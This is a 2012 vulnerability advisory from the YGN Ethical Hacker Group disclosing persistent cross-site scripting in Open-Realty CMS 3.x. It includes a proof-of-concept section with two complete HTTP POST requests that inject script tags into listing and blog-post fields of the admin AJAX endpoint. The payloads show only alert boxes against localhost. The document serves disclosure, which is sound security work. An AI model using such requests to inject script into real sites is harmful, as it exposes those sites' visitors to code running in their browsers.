Open-Realty CMS 3.x | Persistent Cross Site Scripting (XSS) Vulnerability

1. OVERVIEW

Open-Realty CMS 3.x versions are vulnerable to Persistent Cross Site
Scripting (XSS).


2. BACKGROUND

Open-Realty is the world's leading real estate listing marketing and
management CMS application, and has enjoyed being the real estate web
site software of choice for professional web site developers since
2002.


3. VULNERABILITY DESCRIPTION

Multiple parameters are not properly sanitized, which allows attacker
to conduct Cross Site Scripting attack. This may allow an attacker to
create a specially crafted URL that would execute arbitrary script
code in a victim's browser.


4. VERSIONS AFFECTED

3.x


5. PROOF-OF-CONCEPT/EXPLOIT

/admin/ajax.php (parameter: title, full_desc, ta)

///////////////////////////////////////////////////////

POST /admin/ajax.php?action=ajax_update_listing_data HTTP/1.1
Host: localhost
Content-Length: 574
Origin: http://localhost
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=854a264c2f7766cea2edbfce6ffb02e7;

edit=7305&title=test'%22%3E%3Cscript%3Ealert('XSS')%3C%2Fscript%3E&state=AK&zip=222&country=&neighborhood=&price=&beds=&baths=&floors=&year_built=&garage_size=&sq_feet=&lot_size=&prop_tax=&status=Active&mls=&full_desc='%22%3E%3Cscript%3Ealert('XSS')%3C%2Fscript%3E&seotitle=test-7002&edit_active=yes&mlsexport=no&or_owner=2&notes=66&address=aaa&city=aaa&state=AK&zip=222&country=&neighborhood=&price=&beds=&baths=&floors=&year_built=&garage_size=&sq_feet=&lot_size=&prop_tax=&status=Active&mls=&home_features%5B%5D=&community_features%5B%5D=&openhousedate=

///////////////////////////////////////////////////////
POST /admin/ajax.php?action=ajax_update_blog_post HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
Content-Length: 112
Origin: http://localhost
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/admin/index.php?action=edit_blog_post&id=65
Cookie: PHPSESSID=e2c83ff285b488f33d2c830979a38e09;

blogID=65&title=about+us&ta='"><script>alert('Error')</script>&description=&keywords=&status=1&seotitle=about-us
///////////////////////////////////////////////////////


6. SOLUTION

The vendor has not responded to the report since 2012-11-17.
It is recommended that an alternate software package be used in its place.


7. VENDOR

Transparent Technologies Inc.
http://www.transparent-support.com


8. CREDIT

Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2012-11-17: Vulnerability Reported
2012-12-25: Vulnerability Disclosed


10. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/%5Bopen-realty_3.x%5D_xss
Open-Realty Home Page: http://www.open-realty.org/


#yehg [2012-12-25]

---------------------------------
Best regards,
YGN Ethical Hacker Group
Yangon, Myanmar
http://yehg.net
Our Lab | http://yehg.net/lab
Our Directory | http://yehg.net/hwd